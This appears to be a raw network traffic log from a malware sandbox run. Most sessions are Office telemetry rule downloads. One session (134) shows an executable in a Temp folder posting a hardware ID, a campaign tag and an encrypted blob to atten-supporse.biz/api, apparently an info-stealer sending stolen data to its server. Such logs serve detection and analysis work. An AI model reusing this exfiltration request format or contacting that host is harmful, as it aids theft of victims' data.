Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	49899	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:53 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:54 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:53 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: d50ca944-101e-0046-279e-4291b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084553Z-174f7845968j6t2phC1EWRcfe800000011d0000000002k0x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-30 08:45:54 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	49900	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:53 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:54 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:54 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 3c68bdba-401e-0016-4caa-4253e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084554Z-174f7845968qj8jrhC1EWRh41s000000111000000000adqm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:54 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	49901	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:53 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:54 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:54 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: e7ccb915-001e-0014-50a1-425151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084554Z-174f7845968swgbqhC1EWRmnb400000011b0000000004fyu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-30 08:45:54 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.4	49903	172.67.165.166	443	5224	C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:54 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ADPGBB2S User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18109 Host: atten-supporse.biz
2024-11-30 08:45:54 UTC	15331	OUT	Data Raw: 2d 2d 41 44 50 47 42 42 32 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 36 45 38 44 45 44 35 33 43 33 35 41 35 38 44 45 46 41 33 44 36 33 42 36 39 45 37 43 41 31 34 0d 0a 2d 2d 41 44 50 47 42 42 32 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 41 44 50 47 42 42 32 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 41 44 50 47 42 42 32 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --ADPGBB2SContent-Disposition: form-data; name="hwid"26E8DED53C35A58DEFA3D63B69E7CA14--ADPGBB2SContent-Disposition: form-data; name="pid"2--ADPGBB2SContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--ADPGBB2SContent-Di
2024-11-30 08:45:54 UTC	2778	OUT	Data Raw: 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 11 d5 14 88 8d cc 54 77 94 6d 93 be 93 15 d7 52 9c ab a6 b6 5f c9 35 8b 56 Data Ascii: \f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECaTwmR_5V
2024-11-30 08:45:56 UTC	1020	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sk6qorqa37tfctpbjrums703v9; expires=Wed, 26-Mar-2025 02:32:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dGhJ8xfEpsfMaiWwPlFAUYzFk6uv0ZQmp8goJQySxzdImfy2dhvQgqJKaulScS8T%2F8rC1Y3MIDap8xTl3jH8%2Fhf15cDssU%2FfzOp0LrKx1dFzYjHHJIPIPoirkwwrZP7dThwmGAU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea9905e1a154388-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1706&min_rtt=1696&rtt_var=656&sent=11&recv=20&lost=0&retrans=0&sent_bytes=2846&recv_bytes=19063&delivery_rate=1641371&cwnd=218&unsent_bytes=0&cid=85414265d823abb0&ts=2119&x=0"
2024-11-30 08:45:56 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-11-30 08:45:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	49902	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:54 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:54 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:54 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: 5818dd1d-501e-0035-4638-40c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084554Z-174f7845968n2hr8hC1EWR9cag00000010sg000000007q4u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:54 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	49904	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:54 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:55 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:55 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 87eb510f-001e-008d-7900-42d91e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084555Z-174f7845968ljs8phC1EWRe6en000000113g000000001x5n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:55 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	49907	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:55 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:56 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:56 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 21a32f9a-a01e-003d-21b4-4298d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084556Z-174f7845968swgbqhC1EWRmnb400000011f00000000000x3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-30 08:45:56 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	49908	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:56 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:56 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:56 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 67f9b02f-701e-0053-4491-3f3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084556Z-174f7845968zgtf6hC1EWRqd8s0000000u1000000000a73v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:56 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	49909	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:56 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:56 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:56 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 0277e7d0-c01e-0034-7e34-412af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084556Z-174f7845968qj8jrhC1EWRh41s000000116g000000001xmf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:56 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	49910	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:56 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:57 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:56 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: af6c4ed9-f01e-00aa-2a91-3f8521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084556Z-174f7845968zgtf6hC1EWRqd8s0000000u3g000000006gve x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:57 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	49911	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:57 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:57 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:57 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: c2b29ccb-201e-0000-0bb4-42a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084557Z-174f78459684db9fhC1EWRc7g40000000160000000005f4w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
